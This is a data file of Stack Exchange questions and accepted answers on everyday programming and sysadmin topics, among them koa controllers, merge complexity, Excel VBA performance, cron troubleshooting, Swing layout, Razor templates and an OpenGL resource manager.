applications, you may create a web service which will have exclusive rights to modify this table, and make all other applications call this service instead of querying the database directly. On change, the service may use a message queue service to broadcast the message indicating that the data was changed."  } 
{  "id": "_codereview.62314"  , "question": "I would like to gather ideas on how to refactor the JavaScript/NodeJS controller code below to be more aesthetic. The code is using the koa framework thus I use yield commands. I also use mongoose (I'm waiting for 3.9.2 which will support promises). As a Ruby on Rails developer, I'm searching for a Rails-style way on writing NodeJS programs.'use strict'/* * Model dependencies */var _ = require('lodash')var parse = require('co-body')var db = require('mongoose-glue')/* * User controller. */module.exports = {  /*   * Lists available users.   */  index: function*(id) {    var skip, limit    skip = Math.max(0, this.query.skip)    limit = Math.min(10, this.query.limit)    this.body = yield db.model('user').find().skip(skip).limit(limit).exec()  },  /*   * Displays user with an id.   */  show: function*(id) {    this.body = yield db.model('user').findById(id).exec()    this.status = this.body ? 200 : 404  },  /*   * Creates a new user.   */  create: function*() {    var data    try {      data = yield formData(this, 'name')      this.body = yield createUser(data)      this.status = 201    } catch(e) {      this.body = e      this.status = 403    }  },  /*   * Updates user with an id.   */  update: function*(id) {    var data    try {      data = yield formData(this, 'name')      this.body = yield updateUser(id, data)    } catch(e) {      this.body = e      this.status = 403    }  },  /*   * Removes user with an id.   */  destroy: function*(id) {    var item    try {      item = yield destroyUser(id)      this.status = item ? 200 : 404    } catch(e) {      this.body = e      this.status = 403    }  },}/* * Create user thunk */function createUser(data) {  return function(next) {    db.model('user').create(data, next)  }}/* * Update user thunk. */function updateUser(id, data) {  return function(next) {    db.model('user').findByIdAndUpdate(id, data, next)  }}/* * Create user thunk */function destroyUser(id) {  return function(next) {    db.model('user').findByIdAndRemove(id, next)  }}/* * Returns form data. */function *formData(ctx) {  var data  data = yield parse.form(ctx)  data = _.any(arguments) ? _.pick(data, arguments) : data  return data}"  , "title": "Controller code using the koa framework"  , "tags": "javascript;node.js;controller;mongoose"  , "accepted_answer": "Interesting question,I understand you search for a rails-style way on how to write nodejs programs. However from a CodeReview perspective, your code should be idiomatic (conforming to the mode of expression characteristic of a language) so that other developers can grok your code and even maintain it.From that perspective your code is quite good, the only thing being that you really (really) should put those semi-colons. Just get over it, good JavaScript has semicolons at the end of each line.Other than that:I like the use of 'use strict', generator functions and yieldI like the amount of comments, not so much the style, I would go for less vertical real estate/* * User controller. */could just as well be//User controllerIt's a matter of taste but I find this more idiomatic var skip = Math.max(0, this.query.skip),     limit = Math.min(10, this.query.limit);thanvar skip, limitskip = Math.max(0, this.query.skip)limit = Math.min(10, this.query.limit)I guess from a style perspective you want to split declaration from initialization, but I find this takes too much vertical real estate.Logging/Handling errors, you should consider putting more effort in handling errors than simply throwing a 403 on the client side, you should do something on the server side as wellMagic constants (404, 200) etc. are known well enough that you don't have to create named constants.All in all I like your code, I guess if I had to maintain I would run it thru a script to fix all the semicolons and comments and go from there ;) "  } 
{  "id": "_cs.45325"  , "question": "If I have two sorted lists.list A => 1 -> 2 -> 4 -> 11 -> 31list B => 2 -> 31 -> 54Now what should be the order of (sorted) merge and why?According to the rule, If the list lengths are m and n, the merge takes $O(m+n)$ operations, the order should be $O(5 + 3)$. Am I right? I would appreciate if someone help me out in understanding it."  , "title": "If the list lengths are m and n, why does the merge take O(m+n) operations?"  , "tags": "algorithm analysis;runtime analysis;linked lists"  , "accepted_answer": "You are asking: Now what should be the order of merge and why?First of all, we need to fix the merging algorithm. I'll assume the canonical one, i.e.merge(A, B) {  if ( A.size == 0 ) {    return B  }  if ( B.size == 0 ) {    return A  }  if ( A.head <= B.head ) {    return A.head + merge(A.tail, B)  }  else {    return B.head + merge(A, B.tail)  }}Now you propose two lists:A = 1 -> 2 -> 4 -> 11 -> 31B = 2 -> 31 -> 54So just execute the algorithm and count operations! I'll assume that you only want to count the comparison A.head <= B.head. A compacted trace of the algorithm is (unfolding the recursion)C = A = 1 -> 2 -> 4 -> 11 -> 31B = 2 -> 31 -> 54C = 1A = 2 -> 4 -> 11 -> 31B = 2 -> 31 -> 54C = 1 -> 2A = 4 -> 11 -> 31B = 2 -> 31 -> 54C = 1 -> 2 -> 2A = 4 -> 11 -> 31B = 31 -> 54C = 1 -> 2 -> 2 -> 4A = 11 -> 31B = 31 -> 54C = 1 -> 2 -> 2 -> 4 -> 11A = 31B = 31 -> 54C = 1 -> 2 -> 2 -> 4 -> 11 -> 31A = B = 31 -> 54C = 1 -> 2 -> 2 -> 4 -> 11 -> 31 -> 31 -> 54A = B = So you see it took seven recursive calls (plus the main call), and six comparisons. You can easily swap the parameters and do the same; you'll get seven comparisons. So the order you have is slightly better. Do you see why? It's advantageous if one of the lists runs empty early.Note that the order of comparison and whether you use <= or < is crucial here; other choices may make the other order better.Having worked through this example, you are ready to think about what the worst case inputs are. Two lists of length $m$ and $n$ that run empty at the same time.And then you execute the algorithm symbolically and count the number of steps necessary. If you can never append more than one element when the other list is empty (return A resp. return B), you had to have had $n + m - 1$ recursive calls up to that point, one for each element, since you only ever pick one element per recursive call. Plus the last call, that's a total of n+m recursive calls. Since every call does merge at least one element, there can be no more than $n+m$ recursive calls, so this is indeed the worst case.Now you observe that each recursive call takes time $O(1)$, assuming a suitable list representation (in particular with $O(1)$-time size), and you are done.This is not rocket science, by the way; it's rater mechanic, in fact, as our reference question explains.As an exercise, you can carry over the analysis to a more typical iterative implementation of merge."  } 
{  "id": "_codereview.136787"  , "question": "This code is meant to run through a column of values, bin the values based on specified ranges, then output the average value of each bin.  The problem is the code is running quite slowly (approximately 30 min for around 100000 values).  I am definitely a beginner at coding and was hoping there was some way to speed this code along.Sub BinValues()'binns seperation distance values for the creation of variogramApplication.ScreenUpdating = FalseApplication.EnableEvents = FalseApplication.Calculation = xlCalculationManualDim Cell As ObjectDim R1 As RangeDim R2 As RangeDim rng As Range'define range before runningSet rng = Range(A1:A105570)Dim K, n, L As Integer'n is equal to the number of lags'L is the lag sizen = 12L = 600For K = L To (n * L) Step 600    For Each Cell In rng    Dim min As Integer    min = K - L    'upper bound exclusive and lower bound inclusive        If Cell.Value >= min And Cell.Value < K Then            If R1 Is Nothing Then                Set R1 = Range(Cell.Address)            Else                Set R1 = Union(R1, Range(Cell.Address))            End If            Cells((K / L), 5) = WorksheetFunction.Average(R1)             End If      Next    Set R1 = NothingNextApplication.ScreenUpdating = TrueApplication.EnableEvents = TrueApplication.Calculation = xlCalculationAutomaticEnd Sub"  , "title": "Output the average values of binned columns in Excel VBA"  , "tags": "performance;beginner;vba;excel"  , "accepted_answer": "Data belongs in an ArrayA worksheet *looks* like a grid of data, but there's an enourmous amount of overhead sitting behind it. Every time you do anything to a spreadsheet, events fire, formulas calculate and a million other things happen behind the scenes.Working with Ranges is computationally expensive, and you're doing it N*105,570*2 times.Instead, what you want is an Array. An Array is just a grid of data laid out in memory. Because it is *just* data there are no overheads, and so you can read/write to it about a Million times faster. You can create an Array by reading in a range, like so:Dim dataRange As RangeSet dataRange = Range(A1:A105570)Dim dataArray As VariantdataArray = dataRange.ValueAnd now, the value in A1 is in dataArray(1, 1), A2 in dataArray(2, 1) etc.Let's re-write your code to use an Array:Option ExplicitPublic Sub BinValues()    'binns seperation distance values for the creation of variogram    Application.ScreenUpdating = False    Application.EnableEvents = False    Application.Calculation = xlCalculationManual    Dim dataRange As Range    Set dataRange = Range(A1:A105570)    Dim dataArray As Variant    dataArray = dataRange.Value    Const NUM_LAGS As Long = 12    Const LAG_SIZE As Long = 600    Dim minValue As Double    Dim maxValue As Double    Dim lagCounter As Long    Dim ix As Long    Dim elementValue As Double    Dim elementSum As Double    Dim numElements As Double    Dim elementAverage As Double    For lagCounter = 1 To NUM_LAGS        minValue = (lagCounter - 1) * LAG_SIZE        maxValue = (lagCounter * LAG_SIZE) - 1        numElements = 0        elementSum = 0        For ix = LBound(dataArray, 1) To UBound(dataArray, 1)            elementValue = dataArray(ix, 1)            If elementValue >= minValue And elementValue <= maxValue Then                numElements = numElements + 1                elementSum = elementSum + elementValue            End If        Next ix        elementAverage = elementSum / numElements        Cells(lagCounter, 5) = elementAverage    Next lagCounter    Application.ScreenUpdating = True    Application.EnableEvents = True    Application.Calculation = xlCalculationAutomaticEnd SubThat alone should take your runtime from 1/2 an hour to a couple of seconds (if that)."  } 
{  "id": "_unix.128534"  , "question": "I'm using Ubuntu 14.04, and the cron daemon is running:# ps ax | grep cron822 ?        Ss     0:00 cronbut it is not executing any jobs. I was previously getting entries in /var/log/syslog such as this:2014-05-04T11:47:01.839754+01:00 localhost CRON[29253]: (root) CMD (test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ))but now there are no cron-related entries. I was also getting entries like this in /var/log/auth.log:2014-05-04T11:47:01.839183+01:00 localhost CRON[29252]: pam_unix(cron:session): session opened for user root by (uid=0)2014-05-04T11:47:13.495691+01:00 localhost CRON[29252]: pam_unix(cron:session): session closed for user rootbut again, now there are no cron-related entries.I am not aware that anything has changed. I have tried restarting cron:# service cron restartcron stop/waitingcron start/running, process 24907I tried using crontab -e to add a cron job * * * * * date >> /tmp/somefile which worked, but it installed a new crontab in /var/spool/cron/crontabs/root, whereas I want cron to use the file in /etc/crontab.Is there any debug option I can use, or a log somewhere that might give an error message that I can investigate?"  , "title": "How do I find out why cron is not running my jobs?"  , "tags": "ubuntu;cron"  } 
{  "id": "_unix.387383"  , "question": "I use Barman 1.5.1 on Ubuntu 16.04.For several weeks, barman has been working smoothly. Some days ago, troubles started:Instead of backups I find other files in the <SERVER>/base/ directory of some of the backups (e.g. autoselect.h in .../base/20170816T230003 and fcall.hpp, parameterized.hpp, parser_binder.hpp in .../base/20170805T230003). Strangely, most of the other backups are fine.barman check <SERVER> yieldsPostgreSQL: OKarchive_mode: OKwal_level: OKarchive_command: OKcontinuous archiving: FAILEDdirectories: OKretention policy settings: OKbackup maximum age: FAILED (interval provided: 1 day, latest backup age: 6 days, 12 hours, 41 minutes)compression settings: OKminimum redundancy requirements: OK (have 6 backups, expected at least 0)ssh: OK (PostgreSQL server)not in recovery: OKAccording to sourceforge the second issue (2.) can be fixed by a barman update. Unfortunately, the latest version of barman in the repository is 1.5.1. How can I safely upgrade barman to a version > 1.5.1? Is this likely to solve the first problem (1.), too?"  , "title": "Barman >1.5.1 for Ubuntu 16.04"  , "tags": "ubuntu;apt;upgrade"  } 
{  "id": "_codereview.19401"  , "question": "Please help me to make more readable and simple code like this. What if I had 20 components? Is it right to organize code like this?package newpackage.view;import java.awt.GridLayout;import javax.swing.JButton;import javax.swing.JLabel;import javax.swing.JPanel;import javax.swing.JPasswordField;import javax.swing.JRadioButton;import javax.swing.JTextField;public class UserPanel extends JPanel{    private JLabel idLbl;    private JLabel nameLbl;    private JLabel passwordLbl;    private JRadioButton adminRad;    private JRadioButton userRad;    private JTextField idFld;    private JTextField nameFld;    private JPasswordField passwordFld;    private JButton submitBtn;    public UserPanel() {        setLayout(new GridLayout(4,2));        idLbl = new JLabel(ID);        nameLbl = new JLabel(Name);        passwordLbl = new JLabel(Password);        adminRad = new JRadioButton(Admin);        userRad = new JRadioButton(User);        idFld = new JTextField();        nameFld = new JTextField();        passwordFld = new JPasswordField();        submitBtn = new JButton(Submit);        add(idLbl);        add(idFld);        add(nameLbl);        add(nameFld);        add(passwordLbl);        add(passwordFld);        add(adminRad);        add(userRad);        add(submitBtn);    }}"  , "title": "Readable code with many components (Swing)"  , "tags": "java;swing;gui"  , "accepted_answer": "Depending on your application structure, there are several ways to organize this.If you have only this window with small number of components, just use add(new Compenent(...)) as Roman Ivanov suggested.If you have to communicate a bit and have more Frames and more logic behind it, you could pick some of this bullet points:Do not extend JPanel, instead have a private JPanel attribute and deal with it (Encapsulation). There is no need to give access to all JPanel methods for code dealing with a UserPanel instance. If you extend, you are forced to stay with this forever, if you encapsulate, you can change whenever you want without taking care of something outside the class.Use a create() method to init the GUI (or createAndGet() if you need a reference). In this way you make it clear what happens there. The GUI is created. It is not obvious if this happens in the constructor.Some of your attribute names look like you want to do something with them later on. So you will probably need listeners. You can add a addListeners() method which takes care about all the listeners.If your init method still has too much work inside, you could split it up (like createFirstPanel(), createUserField(), createPlots() and so on).Think about a cleaning up method/way. Do you want to destroy the window, reuse the window, clear the window? Have a single instance, multiple instances? You can handle all the different cases inside the class if you use encapsulation (and probably inside the controller, depends on your application model).Use good names. Do not abbreviate Label with Lbl. Write Label. It is better readable and with auto completion, no more work to write. I would suggest to put the type before the name, like jLabelId, jLabelName, jTextFieldName, ... This is more consistent.Just to say it again: If it is just a small class and no one will touch it ever again, use the easiest approach possible. Do not code for a future which is not clearly visible."  } 
{  "id": "_webmaster.52914"  , "question": "What could be causing a 1.18s wait time when my page loads?Just to make sure I did not have any conflicting or parallel scripts loading, I completely deleted all the script on my home page and ran the speed test again. Although I had a blank website and 5kb file size, there was still a 900ms waiting time.I'm wondering if it could be my server? Any other thoughts or suggestions as it doesn't seem to be scripts.EDIT - Just ran a DNS test on pingdom and here are my results. Does this tell me anything? No nameservers found at child?"  , "title": "What could be causing this long waiting time on page load?"  , "tags": "javascript;page speed"  } 
{  "id": "_codereview.18009"  , "question": "I am developing a BlackJack game using Java, and it came to a point that I am using instanceof operator to determine if it is a type of some subclass.Here's an example:public void checkForBlackJack(Player player) {        Hand fHand = player.getHands().get(0);        if (fHand.getCardScore() == 21) {            fHand.setBlackjack(true);        }        if(player instanceof BlackJackPlayer){            BlackJackPlayer bjplayer = (BlackJackPlayer) player;            if(bjplayer.isSplit()){                //Check the users other hand if it is already blackjacked            }        }    }Is using instanceof considered to be bad for such example?  Just as an overview, here is my class diagram:I've decided to use instanceof to check for blackjack because The Dealer can also get blackjack."  , "title": "Using Java's instanceof operator"  , "tags": "java;design patterns;playing cards"  } 
{  "id": "_unix.290283"  , "question": "I am fairly new to the Linux OS. I'm being asked to learn the OS (Ubuntu & Fedora) for computational science purposes.The problem isn't getting involved or into the OS, but I don't exactly know what path to take in terms of delving deep. So far I've played around with the Terminal (e.g. issuing commands to create basic FORTRAN or C++ files, moving, deleting, copying, creating directories).I feel all of this is basic and that I'm missing so much more. I've searched online for various documentations, but I feel at a loss because I don't understand what path I am supposed to be taking. I would really appreciate any help."  , "title": "New Linux User, Where do I begin and how do I master the OS"  , "tags": "linux;ubuntu"  } 
{  "id": "_softwareengineering.313090"  , "question": "Was doing some reading today about Razor Syntax with MVC Framework and was wondering why would/should I use Razor?  What benefit does it provide over doing the same thing in the code behind and/or controller?  As an example I saw, they showed how you can use Razor to display the current time, doing arrays and loops, and other functions using inline coding right there within the HTML.  Wouldn't this provide excess clutter to the front end that can easily be provided with the code behind?"  , "title": "Why use Razor Syntax?"  , "tags": "c#;asp.net mvc;clean code;razor"  , "accepted_answer": "More generally, you are asking about the benefits of using a template rather than generating content directly inside your source code.The answer is that mixing source code and HTML could be a viable alternative for small applications, but doesn't scale well. Once your project becomes large enough, it becomes too difficult to maintain code where chunks of HTML are all over the source code.Using a template solves this issue. All your logic resides in controllers, while HTML is put in templates, which, in MVC, are called views. When someone wants to modify HTML, there is no need to deal with the business logic: only the view is affected. It might also work the other way around: you can swap the logic while letting HTML unchanged (as soon as the models remain the same).So if templates are for HTML, what's all this source code in Razor?!Indeed, you still need some logical statements within your templates, usually in a form of conditions or loops. If you need to display an avatar of a person only when the person actually has an avatar, well, that's a good place for an if in your template. If you need to display every product which was provided by the controller through the model, there would be a foreach.The fact that you can write any code within your views doesn't mean you should. Be careful to keep business logic inside controllers. A few conditions and loops is fine, but if the code in your views becomes too complicate, it's a good sign that you've done too much. So:All business logic should be in controllers (or business classes called by the controllers, depending on the N-tier architecture you use and the complexity of your application).The models contain simple objects (usually POCO) which can be used easily, without too much code.The views contain only the most elementary logic needed exclusively to generate HTML from the model. No complex business logic here."  } 
{  "id": "_softwareengineering.246498"  , "question": "I have been reading a number of posts and I am leaning towards building an SOA.  My main dependencies are:Need to support multiple clientsNeed individual client environments to not effect other client environmentsFor example, if I want to add a text field to Client A's application, but I don't want Client B to be effected in any way.The solution I have is to send an API address along with the client auth token.  For example, the client will send something like this:api: http://myWebsite/api/clients/ClientA/someServiceCallSimilarly, from a token, the (MVC) controller will know which view to render for a given user.My question is, is this a good solution to my problem?  I understand that I am having to call an HTTP REST service for my data access; but, I feel this solves a lot of problems.  For instance, I could see which services sending 404 errors and fix them (presumably) before they even get reported.I have read a number of articles that seem to enforce my idea.  Have I misunderstood this concept?  Is there a better architectural approach?Here's what I've been reading:Dogfooding: how to build a great APIShould a website use its own public API?Stevey's Google Platforms RantAgain, the goal is to keep individual client environments as separate as possible; such that if we push a change to the service layer, there is no downtime and no one gets logged out because of an app pool refresh.My over all plan is to incorporate these API calls wherever they are needed; i.e. in an MVC controller or a javascript AJAX call.  For example:public class HomeController : Controller{    public ActionResult Index()    {        WebClient client = new WebClient();        string api = /* api from auth token */        User result = JsonConvert.DeserializeObject<User>(client.DownloadString(api));        return View(result);    }}"  , "title": "Multitier architecture using API"  , "tags": "architecture;rest;asp.net mvc;soa"  } 
{  "id": "_webmaster.17600"  , "question": "I've been pulling my hair out but can't figure out why my page looks like a huge mess in IE9, but Firefox, Chrome, Opera, Safari works great.My website is here:http://173.244.195.179/test-o.htmlCould anyone tell me what I'm doing that isn't compatible with IE9?"  , "title": "Why can't Internet Explorer render this page correctly?"  , "tags": "html;css;internet explorer"  , "accepted_answer": "Looking at your source code, you have a couple of serious issues:<script language=javascript type='text/javascript'> ...</script><!DOCTYPE html><html><head>You have a script tag at the very top of your page. They should go inside the head tags. Which leads me to the next issue:<!DOCTYPE html><html><head>...</head><body><head>...</head><body>You have two <head> tags, and two opening <body> tags. This should be replaced with:<!DOCTYPE html><html><head>...</head><body>...</body></html>"  } 
{  "id": "_cs.55375"  , "question": "In an algorithm book it said that to solve the coin denomination problem via Dynamic Programming approach a 2-D array is needed:Exercises 8.4 #9Is it not possible to do this using a 1-D array.I was thinking that maybe you could set the $C$ values in a 1-D array as:$C[0]=0$, $C[n]=1$ if $n$ is one of the denomination values and $C[n]= \\infty$ if $n$ is less that the least denomination.Otherwise set $C[n] = \\min_{1 <= i <= \\frac{n}{2}}{(C[i]+C[n-i])}$What is wrong with my solution other than I won't be able to generate the actual solution because my goal is only to find the optimal number of coins for that $n$ value?"  , "title": "Is it possible to solve the coin denomination problem using a 1-D array?"  , "tags": "algorithms;optimization;dynamic programming"  } 
{  "id": "_webmaster.90684"  , "question": "I created web site and from computer it works. But we have problem on android google chrome. errorYour connection is private ERR_CERT_DATE_INVALID.any idea? please help."  , "title": "Can't open website on Android chrome"  , "tags": "security certificate;google chrome;android"  } 
{  "id": "_codereview.105953"  , "question": "Recently, I added this class to my Spiky engine: its basic purpose is to allocate OpenGL-based objects (such as Textures, Shader, Fonts, ...) and then  manage them by giving them an ID so the user can pull objects in and out. Any remarks, suggestions or other comments are welcome.Resourcemanager.h:#pragma once#include <memory>#include <vector>#include <unordered_map>#include ../render/Shader.h#include ../render/Mesh.h#include ../render/Texture.h#include ../render/Font2D.hnamespace Spiky{    class ResourceManager;    void inline InitSpikyCore();    class ShaderImp    {    public:        friend class ResourceManager;        friend std::unique_ptr<ShaderImp>::deleter_type;        std::unique_ptr<glDetail::CShader> const& operator->() const        {            return m_shader;        }    private:        explicit ShaderImp(const char* vs, const char* fs)            :            m_shader(std::make_unique<glDetail::CShader>(vs, fs))        {        }        explicit ShaderImp(const char* vs, const char* fs, const char* gs)            :            m_shader(std::make_unique<glDetail::CShader>(vs, fs, gs))        {        }        ~ShaderImp()        {        }        std::unique_ptr<glDetail::CShader> m_shader;    };    typedef ShaderImp const& Shader;    class MeshImp    {    public:        friend class ResourceManager;        friend std::unique_ptr<MeshImp>::deleter_type;        std::unique_ptr<glDetail::CMesh> const& operator->() const        {            return m_mesh;        }    private:        explicit MeshImp(Vertex* vertices, unsigned int numVertices, unsigned int* indeces, unsigned int numIndices)            :            m_mesh(std::make_unique<glDetail::CMesh>(vertices, numVertices, indeces, numIndices))        {        }        explicit MeshImp(const char* fileName)            :            m_mesh(std::make_unique<glDetail::CMesh>(fileName))        {        }        ~MeshImp()        {        }        std::unique_ptr<glDetail::CMesh> m_mesh;    };    typedef MeshImp const& Mesh;    class TextureImp    {    public:        friend class ResourceManager;        friend std::unique_ptr<TextureImp>::deleter_type;        std::unique_ptr<glDetail::CTexture> const& operator->() const        {            return m_texture;        }    private:        explicit TextureImp(const char* texturePath, GLenum texTarget = GL_TEXTURE_2D, GLfloat filter = GL_LINEAR, GLfloat pattern = GL_REPEAT,                            GLenum attachment = GL_NONE)            :            m_texture(std::make_unique<glDetail::CTexture>(texturePath, texTarget, filter, pattern, attachment))        {        }        explicit TextureImp(int width = 0, int height = 0, unsigned char* data = 0, GLenum texTarget = GL_TEXTURE_2D, GLfloat filter = GL_LINEAR,                            GLfloat pattern = GL_REPEAT, GLenum attachment = GL_NONE)            :            m_texture(std::make_unique<glDetail::CTexture>(width, height, data, texTarget, filter, pattern, attachment))        {        }        ~TextureImp()        {        }        std::unique_ptr<glDetail::CTexture> m_texture;    };    typedef TextureImp const& Texture;    //Inmplement Shader, Mesh, Texture, ... allocators here :     class ResourceManager    {        friend inline void SpikyInitCore();    public:        using ShaderRepo = std::unordered_map<const char*, std::unique_ptr<ShaderImp>>;        using MeshRepo = std::unordered_map<const char*, std::unique_ptr<MeshImp>>;        using TextureRepo = std::unordered_map<const char*, std::unique_ptr<TextureImp>>;        //Shader        static const ShaderImp& LoadShader(const char* ID, const char* vs, const char* fs)        {            shaderObjects.insert(std::pair<const char*, std::unique_ptr<ShaderImp>>(ID, std::unique_ptr<ShaderImp>(new ShaderImp(                                                                                        (shaderRootDir + std::string(vs)).c_str(),                                                                                        (shaderRootDir + std::string(fs)).c_str()))));            return *(shaderObjects.at(ID).get());        }        static const ShaderImp& LoadShader(const char* ID, const char* vs, const char* fs, const char* gs)        {            shaderObjects.insert(std::pair<const char*, std::unique_ptr<ShaderImp>>(ID, std::unique_ptr<ShaderImp>(new ShaderImp(                                                                                        (shaderRootDir + std::string(vs)).c_str(),                                                                                        (shaderRootDir + std::string(fs)).c_str(),                                                                                        (shaderRootDir + std::string(gs)).c_str()))));            return *(shaderObjects.at(ID).get());        }        static const ShaderImp& GetShader(const char* ID)        {            return *(shaderObjects.at(ID).get());        }        //Mesh        static const MeshImp& LoadMesh(const char* ID, Vertex* vertices, unsigned int numVertices, unsigned int* indeces, unsigned int numIndices)        {            meshObjects.insert(std::pair<const char*, std::unique_ptr<MeshImp>>(ID, std::unique_ptr<MeshImp>(new MeshImp(                                                                                    vertices,                                                                                    numVertices,                                                                                    indeces,                                                                                    numIndices))));            return *(meshObjects.at(ID).get());        }        static const MeshImp& LoadMesh(const char* ID, const char* fileName)        {            meshObjects.insert(std::pair<const char*, std::unique_ptr<MeshImp>>(ID, std::unique_ptr<MeshImp>(new MeshImp(                                                                                    (meshRootDir + std::string(fileName)).c_str()))));            return *(meshObjects.at(ID).get());        }        //Texture        static const TextureImp& LoadTexture(const char* ID, const char* texturePath, GLenum texTarget = GL_TEXTURE_2D, GLfloat filter = GL_LINEAR,                                             GLfloat pattern = GL_REPEAT, GLenum attachment = GL_NONE)        {            textureObjects.insert(std::pair<const char*, std::unique_ptr<TextureImp>>(ID, std::unique_ptr<TextureImp>(new TextureImp(                                                                                          (textureRootDir + std::string(texturePath)).c_str(), texTarget, filter, pattern, attachment))));            return *(textureObjects.at(ID).get());        }        static const TextureImp& LoadTexture(const char* ID, int width, int height, unsigned char* data = nullptr, GLenum texTarget = GL_TEXTURE_2D,                                             GLfloat filter = GL_LINEAR, GLfloat pattern = GL_REPEAT, GLenum attachment = GL_NONE)        {            textureObjects.insert(std::pair<const char*, std::unique_ptr<TextureImp>>(ID, std::unique_ptr<TextureImp>(new TextureImp(                                                                                          width, height, data, texTarget, filter, pattern, attachment))));            return *(textureObjects.at(ID).get());        }        static const TextureImp& LoadTextureCustomPath(const char* ID, const char* texturePath, GLenum texTarget = GL_TEXTURE_2D, GLfloat filter = GL_LINEAR, GLfloat pattern = GL_REPEAT, GLenum attachment = GL_NONE)        {            textureObjects.insert(std::pair<const char*, std::unique_ptr<TextureImp>>(ID, std::unique_ptr<TextureImp>(new TextureImp(                                                                                          texturePath, texTarget, filter, pattern, attachment))));            return *(textureObjects.at(ID).get());        }        static const TextureImp& GetTexture(const char* ID)        {            return *(textureObjects.at(ID).get());        }    private:        static ShaderRepo shaderObjects;        static MeshRepo meshObjects;        static TextureRepo textureObjects;        static std::string shaderRootDir;        static std::string meshRootDir;        static std::string textureRootDir;    };}ResourceManager.cpp:#include ../core/ResourceManager.hnamespace Spiky{    ResourceManager::ShaderRepo ResourceManager::shaderObjects =      ShaderRepo();    ResourceManager::MeshRepo ResourceManager::meshObjects =          MeshRepo();    ResourceManager::TextureRepo ResourceManager::textureObjects =    TextureRepo();    ResourceManager::Font2DRepo ResourceManager::font2DObjects =      Font2DRepo();    std::string ResourceManager::shaderRootDir =                      std::string(assets/shaders/);    std::string ResourceManager::meshRootDir =                        std::string(assets/models/);    std::string ResourceManager::font2DRootDir =                      std::string(assets/fonts/);    std::string ResourceManager::textureRootDir =                     std::string(assets/images/);}"  , "title": "Allocating and managing OpenGL-based objects"  , "tags": "c++;c++11;graphics"  , "accepted_answer": "Don't Repeat YourselfConsider ShaderImp, MeshImp, TextureImp. They all have the exact same structure: they befriend ResourceManager, hold onto some std::unique_ptr, which is exposable, and are privately constructible. When you see that kind of repetition in class definitions, that calls for a class template:template <typename T>class GenericImp{public:    friend class ResourceManager;    friend typename std::unique_ptr<T>::deleter_type;    std::unique_ptr<T> const& operator->() const    {        return ptr_;    }    // might as well also provide this one    T const& operator*() const    {        return *ptr_;    }private:    template <typename... U,              typename = std::enable_if_t<std::is_constructible<T, U&&...>::value>>    explicit GenericImpl(U&&... u)    : ptr_{new T(std::forward<U>(u)...)}    { }    std::unique_ptr<T> ptr_;};That handles all the Imps:using ShaderImp = GenericImp<glDetail::CShader>;using MeshImp = GenericImp<glDetail::CMesh>;using TextureImp = GenericImp<glDetail::CTexture>;Don't Repeat Yourself IINow that we have our Imps, we need some maps to store them in:template <typename Imp>using Repo = std::unordered_map<std::string, std::unique_ptr<Imp>>;using ShaderRepo = Repo<ShaderImp>;...Note that having a const char* key type is highly questionable. Using std::string prevents you from having to deal with any lifetime issues. Don't Repeat Yourself IIILet's collapse all of our Loaders into a single function template. Because we can:template <typename Imp,          typename Key,          typename... Args>static const Imp& LoadImp(Repo<Imp>& map, Key&& key, Args&&... args){    auto it = map.emplace(std::forward<Key>(key),                           std::unique_ptr<Impl>(new Imp(std::forward<Args>(args)...))                          ).first;    return *(it->second);}Taking advantage of the fact that emplace() gives us where it was put in, we don't need to do the extra search. Now all the other loaders can just forward to that one, e.g.:template <typename... Args>static const ShaderImp& LoadShader(std::string const& ID, Args&&... args){    return LoadImp(shaderObjects, ID, (shaderRootDir + args)...);}Note that (shaderRootDir + std::string(vs)).c_str() gives you a dangling pointer so you should try to avoid that construct. Prefer std::strings.Don't Typedef Meaningless TypesWhen you introduces types like:typedef TextureImp const& Texture;That's confusing. The extra typedef adds no value. You could've just written TextureImp const&. It's not worth it. Also, you agree, since you don't actually use it anywhere yourself!"  } 
{  "id": "_unix.188482"  , "question": "In Vim, you can move a window to an edge of the viewport with H/J/K/L. Vim will make sure the window occupies the whole edge and resize/shift the other windows around it. Is there something similar for tmux? move-pane doesn't seem to have an option to preserve sizes like Vim does for you. rotate-pane is not the same behavior either and does not guarantee the pane will find the correct edge."  , "title": "tmux command to move pane to edge of window?"  , "tags": "tmux"  } 
{  "id": "_webapps.28208"  , "question": "I reported the following issue to Tumblr:I have setup Tumblr to post to Facebook as well. However, I have  noticed that posts published from the queue do not appear in my  Facebook timeline - only posts I publish directly. can this please be  fixed?And this is the reply I received:Facebook has altered the way it displays information from Tumblr and  other applications. While you should see some of your posts appearing  in your newsfeed, not all posts will appear there. This is to keep  applications from cluttering your Facebook newsfeed.Unfortunately, we can't control how Facebook displays content from  Tumblr.This does not sound right to me: Tumblr would surely have been the author of a plugin - and failing to post to Facebook items that came from the queue does not sound like something on the Facebook side, but in the plugin. Is it possible that I am doing something wrong here?-edit-Why would Facebook discriminate between posts published from a queue and posts published directly? More importantly, HOW could they discriminate? Is this data provided by Tumblr to Facebook? Either way, this looks like a bug to me, and I believe it more likely that it's a bug on the Tumblr side and I am disappointed that Tumblr apparently will not even investigate. "  , "title": "Tumblr items published from queue do not show in Facebook timeline - only those items published directly"  , "tags": "facebook;tumblr;facebook timeline;facebook apps"  , "accepted_answer": "Even though @FelixBonkoski's ifttt seems good, I found my solution a different way: I had already set up Tumblr to publish automatically to Twitter.. And thankfully Twitter can publish to Facebook, and this seems to work well for me - for items published from the queue or directly."  } 
{  "id": "_cs.23407"  , "question": "Let A = $(Q, \\Sigma, \\delta, S, F)$ be a deterministic finite automaton associated with the language $L \\subseteq \\Sigma^*$ $L' = \\{y \\in \\Sigma^*:\\exists x\\in L. |x| = |y|\\}$ $L \\subseteq L'$How do I show that there exist a NDFA associated with L' ? "  , "title": "NDFA associated with language L"  , "tags": "regular languages;finite automata;nondeterminism"  , "accepted_answer": "Hint: Replace every transition labelled $a \\in \\Sigma$ with a transition labelled $\\Sigma$."  } 
{  "id": "_webapps.97579"  , "question": "At some point I disabled website link previews from YouTube in our Slack team. But this was a huge mistake, we need them back. How do I re-enable link previews for a specific website that was disabled, or for all websites?I have already disabled / re-enabled all preview types under Preferences > Messages & Media, but YouTube is still disabled."  , "title": "How do I re-enable link previews in Slack?"  , "tags": "slack"  } 
